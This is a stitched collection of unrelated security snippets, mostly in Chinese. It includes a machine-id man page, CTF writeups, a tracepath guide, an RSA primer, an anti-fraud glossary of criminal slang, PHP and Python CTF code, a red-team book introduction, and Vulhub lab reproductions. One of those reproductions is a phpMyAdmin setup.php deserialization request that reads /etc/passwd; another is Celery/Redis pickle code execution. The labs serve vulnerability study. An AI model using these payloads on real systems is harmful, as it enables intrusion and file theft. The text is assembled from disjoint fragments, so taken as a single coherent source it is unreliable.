.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
machine-id \- 本机"machine ID"配置文件
.SH "SYNOPSIS"
.PP
/etc/machine\-id
.SH "描述"
.PP
/etc/machine\-id
文件包含一个 在安装操作系统时生成的、专属于本系统的、独一无二的"machine ID"。 "machine ID"是一个32字符长度的十六进制小写字母字符串, 并以换行符结尾, 其本质是一个128位二进制整数的16进制表示。
.PP
"machine ID"通常在系统安装时从一个随机数源生成, 并且之后无论经过多少次开关机,也一直保持不变。 另一方面,对于无状态系统,如果此文件为空, 将在系统启动的早期自动随机生成一个。
.PP
"machine ID"一旦生成应该永远保持不变, 即使系统的硬件发生了变化也不应该修改它。
.PP
这里的"machine ID"与"D\-Bus machine ID" 遵守相同的格式与逻辑。
.PP
无论主机的网络配置如何变化, 应用程序始终可以使用"machine ID" 在全球范围内精确的识别一台主机。基于上述特性, "machine ID" 机制可用于取代 POSIX 的
\fBgethostid\fR(3)
系统调用功能。
.PP
操作系统的安装程序可以在安装时使用
\fBsystemd-machine-id-setup\fR(1)
工具来初始化"machine ID"。 可以使用
\fBsystemd-firstboot\fR(1)
初始化已挂载(但未启动)的系统镜像的"machine ID"。
.PP
还可以通过
\fIsystemd\&.machine_id=\fR
内核引导选项 或者 systemd 的
\fB\-\-machine\-id=\fR
命令行选项 来设置"machine ID"。这种方式经常用于网络启动的场景中。 注意,不可将"machine ID"设为全零值。
.SH "与 OSF UUID 的关系"
.PP
"machine ID"符合
\m[blue]\fBRFC 4122\fR\m[]\&\s-2\u[1]\d\s+2
规范(OSF v4 UUID), 同时也符合 Microsoft GUID 规范。
.SH "历史"
.PP
/etc/machine\-id
文件的格式源自D\-Bus的
/var/lib/dbus/machine\-id
文件。 实际上,/var/lib/dbus/machine\-id
很可能就是指向
/etc/machine\-id
的一个软连接。
.SH "参见"
.PP
\fBsystemd\fR(1),
\fBsystemd-machine-id-setup\fR(1),
\fBgethostid\fR(3),
\fBhostname\fR(5),
\fBmachine-info\fR(5),
\fBos-release\fR(5),
\fBsd-id128\fR(3),
\fBsd_id128_get_machine\fR(3),
\fBsystemd-firstboot\fR(1)
.SH "NOTES"
.IP " 1." 4
RFC 4122
.RS 4
\%https://tools.ietf.org/html/rfc4122
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
# Writeup Tokyo Westerns/MMA CTF 2016
Team: akrasuski, c7f.m0d3, cr019283, ppr, shalom, nazywam, rev, msm
### Table of contents
* [Backpacker's Cipher (Crypto)](backpacker)
* [Whiteout Mathmatics (Reverse, PPC)](whiteout_mathematics)
* [Private/Local/Comment (PPC)](restricted_ruby)
* [Rotten Uploader (Web)](rotten_uploader)
|
sec-knowleage
|
tracepath
===
追踪目的主机经过的路由信息
## 补充说明
**tracepath命令** 用来追踪并显示报文到达目的主机所经过的路由信息。
### 语法
```shell
tracepath(参数)
```
### 参数
* 目的主机:指定追踪路由信息的目的主机;
* 端口:指定使用的UDP端口号。
### 实例
```shell
tracepath www.58.com
1: 192.168.2.10 (192.168.2.10) 20.150ms pmtu 1500
1: unknown (192.168.2.1) 9.343ms
2: 221.6.45.33 (221.6.45.33) 34.430ms
3: 221.6.9.81 (221.6.9.81) 19.263ms
4: 122.96.66.37 (122.96.66.37) 54.372ms
5: 219.158.96.149 (219.158.96.149) asymm 6 128.526ms
6: 123.126.0.66 (123.126.0.66) 138.281ms
7: 124.65.57.26 (124.65.57.26) 166.244ms
8: 61.148.154.98 (61.148.154.98) 103.723ms
9: 202.106.42.102 (202.106.42.102) asymm 10 78.099ms
10: 210.77.139.150 (210.77.139.150) asymm 9 199.930ms
11: 211.151.104.6 (211.151.104.6) asymm 10 121.965ms
12: no reply
13: 211.151.111.30 (211.151.111.30) asymm 12 118.989ms reached
Resume: pmtu 1500 hops 13 back 12
```
|
sec-knowleage
|
# Plague of Livestock
## Description
> > “‘Let My people go, that they may serve Me. For if you refuse to let them go, and still hold them, behold, the hand of the Lord will be on your cattle in the field, on the horses, on the donkeys, on the camels, on the oxen, and on the sheep—a very severe pestilence. And the Lord will make a difference between the livestock of Israel and the livestock of Egypt’”’” (Exodus 9:1-4).
>
> You will be exploring the story of the mysterious death of cows that plagued Egypt. Pay close attention to the audio file provided, as hidden clues may be lurking within. Can you uncover the secrets hidden within and solve the challenge?
An MP3 file was attached.
## Solution
Listening to the file, we hear a few "Moo"s here and there, and eventually a weird set of noises close to the end.
The metadata of the file is full of information, including some amusing paths, but nothing that helps us get the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/basmach/Plague_of_livestock]
└─$ exiftool cattleplauge.mp3 | grep Path
Ingredients File Path : cows_fucking_flag.wav, edited cow.mp3
Pantry Ingredients File Path : Moo! Sound Effect [COW].wav
Pantry Windows Atom Unc Project Path: \\?\C:\Users\yarde\Desktop\bsmch.prproj
Windows Atom Unc Project Path : \\?\C:\Users\yarde\Desktop\bsmch.prproj
```
The flag is revealed when we inspect the spectrogram, for example using [Sonic Visualiser](https://www.sonicvisualiser.org/):

The flag: `BSMCH{H1D1NG_D4T4_F0R_TH3_FUN}`
|
sec-knowleage
|
# 黑词、黑话整理
## 关键词
### 种子关键词
种子关键词用于模型分类时的初始应用,后续需要结合人工判断的方式优化种子关键词,对种子关键词进行迭代。
对于种子关键词,设定的原则需要为[5]:
- 种子关键词的数量应该足够少
- 不同类别之间的种子关键词相似性很低
- 对于该类别,种子关键词非常具有代表性
- 考虑到分词的不确定,种子关键词不一定是一个词语,也可以是短语形式
```json
{
"gamble": ["财神", "娱乐", "发牌", "bet", "bet365", "中奖", "开奖", "发财", "投注", "澳门", "赢球", "博彩", "体育", "葡京", "彩票", "电玩", "棋牌", "太阳城", "赌", "冰球", "金花", "赌场", "赌注", "赌城", "太阳城", "赌博", "彩金"],
"yellow": ["约会", "亚洲", "牲交", "av", "欧美", "长腿", "肛交", "三级", "成人", "看片", "丝袜", "足浴", "偷拍", "调教", "骚", "阴毛", "无码", "臀", "屁股", "性爱", "情欲", "巨乳", "吹箫", "美乳", "开档", "高潮", "熟女", "操", "啪啪", "偷情", "做爱", "出轨", "性", "少妇", "肥臀"],
"drug": ["毒品", "兴奋剂", "摇头丸", "贩毒", "可卡因", "吗啡", "鸦片", "白粉", "镇静剂", "罂粟", "drug", "吸毒者", "海洛因", "大麻", "冰毒"],
"gun": ["枪", "步枪", "狙击", "步枪", "汽怆", "气枪", "狙击枪"],
"personal_info": ["查通话记录", "查微信记录", "聊天记录", "短信内容"],
"fraud": ["股票", "理财", "算命", "贵金属", "贷款", "集资"],
"get_code": ["验证码", "短信"],
"account": ["回收", "买卖", "共享", "账号", "王者", "荣耀", "地下城", "勇士", "白号", "外国号", "站街号", "瓶子号", "成品号"],
"hack": ["黑客"],
"cdn": ["分发", "cdn"],
"idc": ["idc"],
"score": ["跑分"],
"card": ["发卡", "发卡网", "发卡平台", "卡密"],
"empty_package": ["空包", "物流", "代发", "快递", "单号", "刷单", "发货", "底单", "空包网"],
"online_money": ["兼职", "在家", "打字", "赚钱", "网赚"],
"game_private_server": ["私服", "稀有", "游戏"],
"government": ["人民", "国情", "政府", "政务", "制度", "国家", "政策", "机关", "减税"],
"payment_platform": ["第三方", "第四方", "四方", "聚合", "支付宝扫码H5", "微信扫码H5", "银联扫码", "快捷支付", "接口"],
"fake_id": ["文凭", "学位证", "学历", "毕业证", "证书"],
"card_pool": ["猫池", "池"],
"personal_info": ["查通话记录", "查微信记录", "聊天记录", "短信内容"],
"hijack_traffice": ["网吧", "增值", "TR"],
"pyramid_sale": ["返佣"],
"e_commerce":["羊毛", "吃货"],
}
```
### 黑话关键词
这是涵盖更广的归类,包括黑灰产行业里的一些敏感词、关键词、缩写等。用于粗粒度地检测文本数据中的关键词命中情况:
```json
{
"account": ["信封", "信封号", "取信", "洗信", "二手信"],
"fraud": ["金主", "菜商", "卡农", "话务员", "话术本"],
"click_fraud": ["外宣", "肥羊", "主持", "老师", "干饭", "稀饭"],
"sex_fraud": ["色粉", "站街", "号商", "键盘手", "养火花", "机房", "散键盘", "出台", "楼凤", "做局"],
"draug_fraud": ["马", "抓马", "垫蓝"],
"laundering": ["水房", "声佬", "刷机佬", "接数佬", "卡佬", "车手"],
"bank_card": ["料", "内料", "外料", "轨道料", "下料", "洗料", "洗拦截料", "挂马", "刷货", "鹅场", "猫场"],
"gambling": ["菠菜", "出千", "埋雷", "猪蹄"]
}
```
## 英文缩写
| WZ=网赚 | WD=网赌 | JZ=兼职 | bc=博彩 |
| ---------- | ---------------- | --------- | --------- |
| WD=网贷 | QP=棋牌 | GM=股民 | 6H=六合彩 |
| QP=棋牌 | CP=彩票 | GP=股票 | NK=男科 |
| JF=解封 | HX=后续 | XK=洗款 | TK=提款 |
| SR=骚扰 | H=黄 | PL=跑路 | YL=引流 |
| SD=刷单 | AL=暗雷(雷子) | SB=色播 | SL=色流 |
| SF=色粉 | SSC=时时彩 | PF=跑分 | PB=跑币 |
| SGK=社工库 | SF=私服 | CS=车手 | DM=打码 |
| RT=人头 | TT=同台 | FQ=翻墙 | HS=号商 |
| JR=金融盘 | JY=交友粉 | XQ=相亲粉 | FL=福利 |
| YZ=验证 | YX=邮箱/博彩游戏 | WH=外汇 | SM=上门 |
| PZ=配资 | | | |
- BC:博彩,有时候也称“吃菠菜”,“开奔驰”
- SSC:时时彩,主要活跃在重庆地区
- QP:棋牌。各种麻将、斗地主包装的博彩游戏
- JR:金融盘,也叫杀猪盘。以贵金属、期货、指数、股票等交易为幌子诈骗用户资金
- WH:外汇。通过网上炒外汇的形式诈骗资金
## 按类型区分
黑话特指黑灰产团伙进行交流时特定的一些暗号、代指等,是为了内部沟通时不易被外人发现。掌握黑灰产黑话,就像杨子荣掌握土匪帮黑话一样重要。
### 网络诈骗
- 金主:实施诈骗的团伙老板。可能是一个人,也可能有几个股东,主要负责选址,招募并培训团伙成员,并提供诈骗所需的“话术本”等[4]
- 菜商:通过非法手段获取信息,批量卖给“金主”大量公民信息
- 卡农:非法收购银行卡,批量卖给“金主”
- 话务员:具体实施电信诈骗的团伙成员,“金主”负责对其进行培训,团伙内的话务员通常分成不同层级,扮演不同角色
- 话术本:诈骗套路的剧本。包括话务员要说的话、辅助的道具(虚假网站、伪造的图片等)、表述方式等
#### 兼职刷单诈骗
> 兼职刷单是当前发案量最大的诈骗类型,骗子通过在网上发布兼职广告招募刷单人员,承诺每刷单成功一次就给付佣金和本金,但往往从第二单开始就以各种理由让你继续交钱购物,而不返还任何资金。[2]
- 外宣:指专门通过加群、加好友发送兼职广告的人
- 小白/肥羊:指看到刷单广告后过来咨询如何刷单的受害者
- 主持:指在语音聊天群中专门维持秩序、分配任务的人
- 老师:指专门负责外宣人员培训,并为小白解答刷单流程的人
- 干饭:指高返利
- 稀饭:指低返利
#### 神药诈骗
- 马:病人,也是骗子的作案目标。和兼职诈骗里的“肥羊/小白”意思差不多
- 抓马:确定目标后,派出人去搭讪、推销神药
- 垫蓝:当“马”上钩后,团伙成员会根据被害人穿着打扮、言行举止等情况现场确定诈骗金额。考虑到被害人身上通常不会携带大量现金,此时会出现一个“好心人”为被害人垫付药费,也就是“垫篮”
#### 色情服务/诈骗
> 随着公安机关严厉打击涉黄犯罪,色情服务也玩起了“互联网+”,很多人通过网络招揽嫖客,甚至是以提供色情服务为名搞连环诈骗。[2]
- 色粉 : 通过发布带有色情或色情擦边的内容吸引来的粉丝
- 站街 :和站街女一样,不同的是,这个站街是线上通过技术手段实现的,算是线上的站街女
- 号商:专门从事各大社交软件帐号注册,并养号出售的商家
- 键盘手:专业“代聊”人员(大部分是男性),假扮美女与人聊天,并负责约见面
- 养火花:键盘手站街成功后,与受害人培养感情
- 机房:指拥有一定数量键盘手,并为其提供吃住培训一条龙服务的集团,对外一般称公司
- 散键盘:指没有在机房工作,独立“代聊”的自由人
- 出台:指小姐提供的色情上门、外出服务
- 楼凤:指隐匿在自己家里(自有或租住)提供色情服务的女人
- 做局:指通过线上、线下手段实施诈骗的团伙
### 洗钱
- 水房:专门的洗钱集团
- 声佬:水房中专门负责打电话、发信息、邮寄等工作的人,算是业务员
- 刷机佬:负责刷POS机,把钱刷到网上结算中心
- 接数佬:负责联系“声佬”和“刷机佬”。骗子为了躲避打击,内部分工很精细,而且一般单线联系,不能越级
- 卡佬:负责买卖各种银行卡
- 车手:通过到ATM机取诈骗所得赃款进而获得提成的人,因通常骑摩托车、电动车等交通工具作案,故称车手
### 盗号养号
- 信封:被盗的账号信息(通常指QQ号)的集合
- 信封号:被盗的QQ号
- 取信:获取成对的QQ号账号密码信息
- 洗信:将被盗账号中有价值的信息筛选、套现出来
- 一般由专门的“洗信人”或者是“洗信工作室”来完成[3]
- 二手信:一手信经过洗信后,称为二手信[3]
- 二手信一般以更小的单位出售,在二手信的黑市上,一个信封一般只是一千个号
- 二手信经过洗信人的封装,分成不同的种类,不同的种类有不同的用处:
- 群发信:用来给被盗号的每一个好友发消息
- 广告信:在QQ空间内植入广告
- 忽悠信:黑市上的买家登陆被盗的QQ号给好友发一些诈骗消息,一般都是急需钱或者出事了之类的骗术
- 老信:最后被榨净的QQ号还会卖给黑客用来编写密码词典,或者邮件群发者群发广告
### 盗刷银行卡
> 盗刷银行卡,主要是指犯罪分子通过非法手段获取银行卡信息,再通过复制银行卡或者通过网上盗刷。[2]
- 料:主要指银行卡账号、密码,持卡人身份证号及绑定手机号四大类信息(又称CVV四大件)
- 内料:指境内卡的四大件
- 外料:指境外卡的四大件
- 轨道料:指通过改装POS机得到的银行卡信息,这种信息一般非常精准
- 下料:即非法搜集CVV四大件信息
- 洗料:即将诈骗资金转账、套现、洗白,洗料这个行业又有很多细分工种
- 洗拦截料:通过植入木马病毒拦截用户手机验证码完成套现,是洗料的一种方法
- 挂马:制作、出租木马病毒
- 刷货:指通过复制银行卡的方式来实施盗刷的过程
- 鹅场:微信支付
- 猫场:支付宝
### 网络赌博
> 网络赌博是指通过互联网手段(赌博网站、博彩APP、微信群等)进行的赌博活动。由于网络赌博不合法,资金不受法律保护,有很多“出老千”的行为,很多人被骗后往往不敢报警。[2]
- 菠菜网站:菠菜是博彩的谐音,菠菜网站就是博彩网站的意思,在每年的世界杯期间,菠菜网站往往会比较猖獗
- 出千:指在赌博中作弊
- 埋雷:在微信红包赌博群中,庄家一般会先宣布规则,比如抢到的红包金额最小的发100元红包,或者红包金额尾数是6的发100元红包。庄家一般会通过外挂软件来控制谁抢到这个红包,这个过程叫埋雷
- 猪蹄:猪蹄是主推的谐音,指赌博中介
## References
\[1] 揭秘博彩黑产的支付江湖产业链,鄂西一农夫,https://mp.weixin.qq.com/s/Tq6kHYBQr3HPdxjQddgtSw
\[2] 38个诈骗界最流行的“黑话”,这些黑话你都掌握了吗?,[C4rpeDime](https://cloud.tencent.com/developer/user/2638143),https://cloud.tencent.com/developer/article/1348394
\[3] 搞反诈需要知道的“术语(含黑话)”集合(2),明不可欺,https://mp.weixin.qq.com/s/ahm-eX8CMgtlYuReFhtG5w
\[4] 互联网上的犯罪“黑话”(1),信息时代的犯罪侦查,https://mp.weixin.qq.com/s/cRcqjLorHWPlIrJlxhKb6w
\[5] DataCon2020优秀解题思路分享:网络黑产方向,浙江大学matrix战队,https://datacon.qianxin.com/blog/archives/196
|
sec-knowleage
|
### RSA 介绍概述
RSA 加密算法是一种非对称加密算法。在公开密钥加密和电子商业中 RSA 被广泛使用。RSA 是 1977 年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)一起提出的。RSA 就是他们三人姓氏开头字母拼在一起组成的。
RSA 算法的可靠性由极大整数因数分解的难度决定。换言之,对一极大整数做因数分解愈困难,RSA 算法愈可靠。假如有人找到一种快速因数分解的算法的话,那么用 RSA 加密的信息的可靠性就肯定会极度下降。但找到这样的算法的可能性是非常小的。如今,只有短的 RSA 密钥才可能被强力方式解破。到 2017 年为止,还没有任何可靠的攻击 RSA 算法的方式。
### RSA公钥与私钥的产生
1. 随机选择两个不同大质数 $p$ 和 $q$,计算 $N = p \times q$
2. 根据欧拉函数,求得 $\varphi (N)=\varphi (p)\varphi (q)=(p-1)(q-1)$
3. 选择一个小于 $\varphi (N)$ 的整数 $e$,使 $e$ 和 $\varphi (N)$ 互质。并求得 $e$ 关于 $\varphi (N)$ 的模反元素,命名为 $d$,有 $ed\equiv 1 \pmod {\varphi (N)}$
4. 将 $p$ 和 $q$ 的记录销毁
此时,$(N,e)$ 是公钥,$(N,d)$ 是私钥。
### RSA消息加密
首先需要将消息 以一个双方约定好的格式转化为一个小于 $N$,且与 $N$ 互质的整数 $m$。如果消息太长,可以将消息分为几段,这也就是我们所说的块加密,后对于每一部分利用如下公式加密:
$$
m^{e}\equiv c\pmod N
$$
### RSA消息解密
利用密钥 $d$ 进行解密。
$$
c^{d}\equiv m\pmod N
$$
### RSA正确性证明
即我们要证$m^{ed} \equiv m \bmod N$,已知$ed \equiv 1 \bmod \phi(N)$,那么 $ed=k\phi(N)+1$,即需要证明
$$
m^{k\phi(N)+1} \equiv m \bmod N
$$
这里我们分两种情况证明
第一种情况 $gcd(m,N)=1$,那么 $m^{\phi(N)} \equiv 1 \bmod N$,因此原式成立。
第二种情况 $gcd(m,N)\neq 1$,那么 $m$ 必然是 $p$ 或者 $q$ 的倍数,并且 $n=m$ 小于 $N$。我们假设
$$
m=xp
$$
那么 $x$ 必然小于 $q$,又由于 $q$ 是素数。那么
$$
m^{\phi(q)} \equiv 1 \bmod q
$$
进而
$$
m^{k\phi(N)}=m^{k(p-1)(q-1)}=(m^{\phi(q)})^{k(p-1)} \equiv 1 \bmod q
$$
那么
$$
m^{k\phi(N)+1}=m+uqm
$$
进而
$$
m^{k\phi(N)+1}=m+uqxp=m+uxN
$$
所以原式成立。
### RSA实用工具RSAtool
- 安装
```bash
git clone https://github.com/ius/rsatool.git
cd rsatool
python rsatool.py -h
```
- 生成私钥
```bash
python rsatool.py -f PEM -o private.pem -p 1234567 -q 7654321
```
### RSA实用工具RSA Converter
- 根据给定密钥对,生成 pem 文件
- 根据 $n$,$e$,$d$ 得出 $p$,$q$
### RSA实用工具openssl
- 查看公钥文件
```shell
openssl rsa -pubin -in pubkey.pem -text -modulus
```
- 解密
```shell
rsautl -decrypt -inkey private.pem -in flag.enc -out flag
```
更加具体的细节请参考 `openssl --help`。
### RSA分解整数工具
- 网站分解,[factor.db](http://factordb.com/)
- 命令行分解,[factordb-pycli](https://github.com/ryosan-470/factordb-pycli),借用 factordb 数据库。
- [yafu](https://sourceforge.net/projects/yafu/)
### RSA相关python 库
#### primefac
整数分解库,包含了很多整数分解的算法。
#### gmpy
- `gmpy.root(a, b)`,返回一个元组 `(x, y)`,其中 `x` 为 `a` 开 `b` 次方的值,`y` 是判断 `x` 是否为整数的布尔型变量
#### gmpy2
安装时,可能会需要自己另行安装 mpfr 与 mpc 库。
- `gmpy2.iroot(a, b)`,类似于 `gmpy.root(a,b)`
#### pycrypto
- 安装
```bash
sudo pip install pycrypto
```
- 使用
```python
import gmpy
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
msg = 'crypto here'
p = getPrime(128)
q = getPrime(128)
n = p*q
e = getPrime(64)
pubkey = RSA.construct((long(n), long(e)))
privatekey = RSA.construct((long(n), long(e), long(d), long(p), long(q)))
key = PKCS1_v1_5.new(pubkey)
enc = key.encrypt(msg).encode('base64')
key = PKCS1_v1_5.new(privatekey)
msg = key.decrypt(enc.decode('base64'), e)
```
|
sec-knowleage
|
<?php
/* Stop hackers. */
if(!defined('FROM_INDEX')) die();
define('MAX_IM_SIZE', 32);
function create_image_key() {
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}
function save_image($im, $imagekey) {
if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
fatal('Invalid image key.');
}
if(!imagepng($im, "uploads/{$imagekey}.png")) {
fatal('Failed to save image.');
}
}
function load_image($imagekey) {
if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
fatal('Invalid image key.');
}
$im = imagecreatefrompng("uploads/{$imagekey}.png");
if(!$im) {
fatal('Failed to load image.');
}
return $im;
}
?>
|
sec-knowleage
|
import binascii, hashlib, time, string, sys
from ws4py.client.threadedclient import WebSocketClient
CHALLENGE = "0";
RE_ARRANGED = "1";
GIVE_GUESS = "2";
UNACCEPTABLE = "3";
GREATE_GUESS = "4";
WRONG_GUESS = "5";
BYE = "6";
FLAG_IS = "7";
slave=-1
guess=0
class Client(WebSocketClient):
def closed(self, code, reason=None):
print "Closed down", code, reason
def received_message(self, m):
global slave, guess
print "Received:"
m=str(m)
print m
code=m[0]
msg=m[1:]
if code==CHALLENGE:
self.auth=True
i=0
while True:
i+=1
th=hex(i)[2:]
th="0"*(8-len(th))+th
chal = hashlib.md5(th).hexdigest()
chal = bin(int(chal, 16))[2:]
chal = chal[:22].zfill(22)
if chal==msg:
self.send(th)
break
if i%500000==0:
print i
elif code==RE_ARRANGED:
print "Rearranged to", msg
slave+=1
guess=slave
elif code==GIVE_GUESS:
print "Give guess:",msg
r.send(str(guess))
elif code==WRONG_GUESS:
print "Wrong guess:",msg
guess=int(msg)
elif code==GREATE_GUESS:
print "CORRECT!!!!!!!!!!!",msg
r=Client("ws://ctf.sharif.edu:8998", protocols=["http-only", "chat"])
r.connect()
r.run_forever()
|
sec-knowleage
|
# Phpmyadmin Scripts/setup.php Deserialization Vulnerability (WooYun-2016-199433)
[中文版本(Chinese version)](README.zh-cn.md)
Affected version: 2.x
## Setup
Run the following command to start phpmyadmin:
```
docker compose up -d
```
Visit `http://your-ip:8080` and you will see the phpmyadmin home page. Because there is no connection to the database, we will get an error. But this vulnerability is not related to the database, so just ignore.
## Exploit
Send the following package to read `/etc/passwd`:
```
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
```

|
sec-knowleage
|
# 介绍
> 译者:[@Snowming](https://github.com/Snowming04)

在本书的上一版本(The Hacker Playbook 2)中,你的任务是渗透 SUCK 公司的武器设备库。然而他们现在又建立了新的部门,称之为 Cyber Space Kittens (CSK)。这个新部门吸取了之前安全评估的所有经验教训,加强了他们的系统,建立了本地安全操作中心,甚至还创建了安全策略。所以他们再次聘用你作为渗透人员,来测试一下他们所做的所有安全限制是否有助于公司的整体防御。
我们能够收集到的关于此部门的信息很少。从有限的信息收集结果来看,我们发现,CSK 部门似乎发现了一颗秘密的行星,位于仙女座大星云或仙女座星系。这颗行星坐落于于两个旋臂中的一个,被称为 KITT-3n。它的大小是地球的两倍,位于一个被叫做 OI 31337 的双星系统中,而另一颗星星的大小也是地球的两倍。看起来这可以创造一个可能很适合居住的环境,有海洋,有湖泊,有植物,甚至可能有生命...
伴随着对新生命和另一个可居住星球的向往,太空竞赛也成为事实了。CSK 已经聘用我们作为红队进行安全评估,确保他们在网络世界的安全,并且能够检测和及时的阻止外在的破坏行为。他们的老板已经知道了去年所有的重大安全攻击行为,所以他现在只想聘用最好的员工,这个公司是你要开展工作的地方...
如果你选择接受这个任务,那你就必须找到所有的内部和外部的漏洞,并且用最新的 exp 和组合漏洞,去看看他们的防御团队是否能够发现或阻止你。
你要决定用什么类型的 TTP(战术策略,威胁情报和恶意程序)去进行你的工作呢?在这场战斗中,你前期需要做大量的信息收集工作,去观察寻找他们外部基础设施的薄弱点,社工他们公司的员工,提升你的权限,获取内部网络的信息,在整个内网中进行漫游,并且能够最终窃取有关 KITT-3n 行星的系统和数据库的信息。
## 渗透测试团队与红队
在我们深入了解红队背后的技术理念之前,我需要说明一下我对**渗透测试**和**红队**的理解。这两个词语经常被一起讨论,所以可能会让人感觉到有些混淆。在这本书里,我会谈一下我是如何理解渗透测试团队和红队这两个不同的术语的。
渗透测试团队更多的是对网络、应用程序以及硬件等方面进行严格的、全方位的测试。如果你之前没接触过渗透测试,我建议你先阅读一下[渗透测试执行标准 PTES](http://www.pentest-standard.org)——这是一个关于如何进行渗透评估的非常好的指导手册。简而言之,你会经历确定渗透测试范围,然后对其进行详细的信息收集,下一步的漏洞挖掘,漏洞利用,以及后渗透阶段和最终的完成渗透测试报告等所有工作。在传统的网络测试中,我们经常会用扫描器扫描漏洞,去寻找可利用的漏洞点和应用或者系统,可能会稍微的再进行一点深入的工作,去找到域管理员,最后写一份报告。这种类型的测试创造了一个漏洞挖掘、漏洞修补以及可控性的测试方法的整体模型。即使是在确定范围期间内,渗透测试也非常明确,首先测试评估期间是在一周或两周内,其次通常会向公司内部的安全团队进行结果公布,因为公司仍然需要渗透测试人员作为其安全软件开发周期(S-SDLC)不可或缺的组成部分。
现在,即使很多公司遵循安全软件开发生命周期,拥有漏洞防护程序,渗透测试人员,应急响应团队或应急程序,并且可能还有很多昂贵的安全防火墙,但他们仍然会有被入侵的威胁。如果我们看看最近爆出来的任何一个[漏洞](https://informationisbeautiful.net/visualizations/worlds-biggest-data-breaches-hacks),我们会发现有很多大公司都会中招。而且我们可以在一些安全报告中看到一些在六个月以前就被入侵的[案例](https://en.wikipedia.org/wiki/Sony_Pictures_hack)。下面这份[报告](https://www.esecurityplanet.com/network-security/almost-a-third-of-all-u.s.-businesses-were-breached-in-2017.html)指出,2017年几乎三分之一的业务遭到了攻击破坏。我想问问所有的公司,如果你们公司遭遇了同样的攻击,你能检测到吗?会用多长时间发现?被入侵以后你可以从攻击中恢复吗?你能准确的知道入侵者对你的公司做了什么吗?
这就是红队存在的意义。红队的任务就是模仿入侵者的TTP(战术和技术手段)。红队的目标是测出公司应对入侵事件的真实状况,找到安全计划中的问题和员工对安全项目的理解中的不足,最终提高他们对安全计划的理解。
对于红队来说,它不像渗透测试那样有条不紊。因为我们是在模拟现实的入侵事件,所以每个测试过程都会有很大的差异。比如一些测试项目可能侧重于窃取员工个人的身份信息(PII) 或者信用卡,而有的测试项目可能侧重于进行域环境的接管。说到域管,我就是在这个地方看到了渗透测试和红队的最不一样之处。对于网络测试,我们喜欢通过获取域管理员(DA)权限以获得对域控制器(DC)的访问权。但对于红队来说,我们完全可以忽略域控制器(DC)。 其中一个原因是我们可以看到许多公司会在其分布式控制系统周围放置了大量的保护设施。它们可能采取程序白名单,流量监控,大量的IDS/IPS/HIPS规则,甚至更多防护措施。因为我们的任务是尽可能的不被发现,所以必须低调谨慎行事。我们遵循的另一条规则就是,几乎不会对内部网络进行大规模的漏洞扫描。你见过有多少入侵者会对内部网络进行大规模的扫描?几乎没有吧,为什么呢,因为漏洞扫描会对网络造成很明显的冲击,在现在这个社会很容易被发现。
渗透测试和红队的另一个主要区别是时间范围,对于渗透测试,不出意外的话我们会很幸运的有两周的时间。然而,红队的测试短达两周,长达六个月。这是因为我们需要模拟真实的攻击、社会工程学、远控木马等等。最后要说的是,还有一个显著的区别是红队的测试结果是两种团队的共同努力。并非使用漏洞列表,红队的调查结果需要更多地针对蓝队团队流程,政策,工具和技能等方面。在你最终的报告中,你可能会有一些能用于模拟入侵的漏洞方面的发现,但更多的是需要发现应用程序中的漏洞。要永远记住,模拟入侵的结果是要针对制定的安全计划,而不是单纯的信息技术。
<img src="../images/introduction/compare.PNG" width = "550" height = "375" alt="图片名称" align=center />
作为红队,我们要向公司展示自己的价值,这和挖掘到的漏洞数量和漏洞严重性无关;它和能证明安全计划如何正常运行有关。红队的目的是模拟真实入侵事件,所以我们要尽可能的低调。从这些测试计划中抽取出的两个强有力的衡量指标是检测时效(TTD)和缓解时效(TTM)。虽然这些不是新的概念,但对红队来说仍然很有价值。
什么是检测时效(TTD)?这是从入侵事件的初始发生到安全分析人员检测并开始处理入侵事件之间的时间。假设你有一封社工钓鱼邮件,然后用户会在他们的系统上执行恶意软件。即使他们的杀毒软件,防火墙,或检测工具可能会报警,但这个时效是安全分析人员发现并第一次记录的时间。
缓解时效(TTM)是测试记录的次要指标。当进行防火墙阻止入侵,DNS 污染,或者网络隔绝这些操作的时候,会记录这个时间。要记录的另一个有价值的信息是安全团队如何使用信息技术,管理层如何处理重大事件,以及员工是否惊慌失措。基于这所有的时效,我们可以用真实的测试结果计算你的公司是否是有风险的,或者它被入侵破坏的可能性有多大。
## 总结
我想要尽力推动管理者使其摆脱依赖审计指标的心态。我们有合法的授权,肯定能促使老板们的程序更加成熟,但并不总是能提供足以模拟现实世界的安全保障。作为红队队员,我们的工作是测试整个安全计划是否有效。
当你读完这本书时,我希望你把自己当作一名红队队员,并把注意力集中于以下几点:
- 应用程序的安全漏洞而不是信息技术的漏洞
- 模拟真实世界的入侵事件
- 为红队持续的发展做出极大努力
挑战所有的安全系统......提供真实的数据来证明安全漏洞。
|
sec-knowleage
|
# Celery <4.0 Redis未授权访问+Pickle反序列化利用
Celery 是一个简单、灵活且可靠的分布式系统,用于处理大量消息,同时为操作提供维护此类系统所需的工具。它是一个专注于实时处理的任务队列,同时也支持任务调度。
在Celery < 4.0版本默认使用Pickle进行任务消息的序列化传递,当所用队列服务(比如Redis、RabbitMQ、RocketMQ等等等)存在未授权访问问题时,可利用Pickle反序列化漏洞执行任意代码。
## 漏洞环境
执行如下命令启动Celery 3.1.23 + Redis:
```bash
docker compose up -d
```
## 漏洞复现
漏洞利用脚本`exploit.py`仅支持在python3下使用
```bash
pip install redis
python exploit.py [主机IP]
```
查看结果:
```
docker compose logs celery
```
可以看到如下任务消息报错:
